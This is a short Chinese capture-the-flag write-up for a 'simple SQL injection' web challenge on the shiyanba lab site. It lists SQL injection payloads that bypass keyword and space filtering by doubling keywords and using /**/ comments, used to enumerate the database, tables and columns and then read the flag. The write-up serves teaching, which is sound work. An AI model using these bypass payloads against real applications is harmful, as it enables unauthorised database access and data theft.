實(shí)驗(yàn)吧-web-簡(jiǎn)單的sql注入

本系列文集:實(shí)驗(yàn)吧-Write up --將持續(xù)更新 覺得還不錯(cuò)請(qǐng)給個(gè)喜歡,感謝!

SQL注入詳細(xì)講解:
DVWA-SQL Injection(SQL注入)
SQL手工注入語句

簡(jiǎn)單的注入測(cè)試

1   正常
1'  無回顯
1' or '1'='1    全部數(shù)據(jù)
測(cè)試過濾:
union select 
information_schema 
information_schema.tables 
information_schema.columns
table_schema
column_name
發(fā)現(xiàn)都被過濾了

重復(fù)輸入union select后發(fā)現(xiàn)空格也被過濾了,用兩個(gè)空格代替一個(gè)空格或用對(duì)注釋符/**/繞過
1.查詢當(dāng)前數(shù)據(jù)庫

1'  unionunion  selectselect  database()'  <兩個(gè)空格>

1'/**/union/**/select/**/database()'

圖片.png

2.查詢數(shù)據(jù)庫中的表

1'  unionunion  selectselect  table_name  fromfrom  information_schema.tables  wherewhere  '1'='1   <兩個(gè)空格>

1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

圖片.png

發(fā)現(xiàn)flag表
3.查詢flag表中字段名

1' unionunion  selectselect  column_namcolumn_namee  fromfrom  information_schema.coluinformation_schema.columnsmns  wherewhere  table_name='flag    <兩個(gè)空格>

圖片.png

發(fā)現(xiàn)flag字段名
4.最后構(gòu)造出poc

1'  unionunion  selectselect  flag  fromfrom  flag  wherewhere  '1'='1
1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
圖片.png
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容